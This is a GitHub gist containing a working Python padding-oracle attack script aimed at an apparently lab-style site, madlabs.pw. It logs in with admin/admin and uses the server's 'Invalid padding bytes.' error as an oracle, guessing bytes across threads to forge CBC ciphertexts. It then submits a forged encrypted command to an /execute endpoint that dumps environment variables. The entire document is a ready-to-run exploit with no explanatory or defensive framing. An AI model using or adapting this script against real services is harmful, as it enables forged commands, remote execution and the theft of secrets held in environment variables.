Skip to content

Instantly share code, notes, and snippets.

@ricardojba
Last active April 13, 2025 21:52
Show Gist options
  • Save ricardojba/87f72c18272f8ede1a0f47d418f850db to your computer and use it in GitHub Desktop.
Save ricardojba/87f72c18272f8ede1a0f47d418f850db to your computer and use it in GitHub Desktop.
#!/usr/bin/env python3
import os
import base64
import urllib3
import requests
import threading
from concurrent.futures import ThreadPoolExecutor
urllib3.disable_warnings()
# Constants
LOGIN_URL = "http://madlabs.pw/login"
EXEC_URL = "http://madlabs.pw/execute"
USERNAME = "admin"
PASSWORD = "admin"
BLOCK_SIZE = 16
THREADS = 11
INVALID_PADDING_MSG = "Invalid padding bytes."
PROXY = {"http": "http://localhost:8080", "https": "http://localhost:8080"}
# Thread-local session storage
thread_local = threading.local()
def get_session():
if not hasattr(thread_local, "session"):
s = requests.Session()
#s.proxies = PROXY
#s.verify = False
thread_local.session = s
return thread_local.session
def login():
session = get_session()
session.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD})
def send_payload(ciphertext_b64):
session = get_session()
login()
response = session.post(EXEC_URL, data={"command": ciphertext_b64})
return INVALID_PADDING_MSG not in response.text
def xor_bytes(a, b):
return bytes(x ^ y for x, y in zip(a, b))
def pad(data: bytes, block_size: int) -> bytes:
padding_len = block_size - (len(data) % block_size)
return data + bytes([padding_len] * padding_len)
def split_blocks(data: bytes, size: int):
return [data[i:i+size] for i in range(0, len(data), size)]
def encrypt(plaintext: bytes, block_size=BLOCK_SIZE):
padded = pad(plaintext, block_size)
blocks = split_blocks(padded, block_size)
cipher_blocks = [os.urandom(block_size)]
for block in reversed(blocks):
intermediate = [0] * block_size
crafted_block = bytearray(block_size)
for i in reversed(range(block_size)):
padding_val = block_size - i
def try_byte(b):
prefix = bytearray(block_size)
for j in range(i+1, block_size):
prefix[j] = intermediate[j] ^ padding_val
prefix[i] = b
test_block = bytes(prefix) + cipher_blocks[0]
test_b64 = base64.b64encode(test_block).decode()
if send_payload(test_b64):
return b
return None
with ThreadPoolExecutor(max_workers=THREADS) as executor:
futures = {executor.submit(try_byte, b): b for b in range(256)}
for future in futures:
result = future.result()
if result is not None:
intermediate[i] = result ^ padding_val
crafted_block[i] = intermediate[i] ^ block[i]
break
cipher_blocks.insert(0, bytes(crafted_block))
return base64.b64encode(b''.join(cipher_blocks)).decode()
def send_encrypted_payload_and_print_response(plaintext: bytes):
print(f"[*] Encrypting payload: {plaintext}")
encrypted_b64 = encrypt(plaintext)
print(f"[*] Encrypted base64 payload: {encrypted_b64}")
session = requests.Session()
#session.proxies = PROXY
#session.verify = False
session.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD})
response = session.post(EXEC_URL, data={"command": encrypted_b64})
print(f"\n[*] Server response:\n{response.text}")
if __name__ == "__main__":
payload = b'{"printenv":"-0"}'
send_encrypted_payload_and_print_response(payload)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment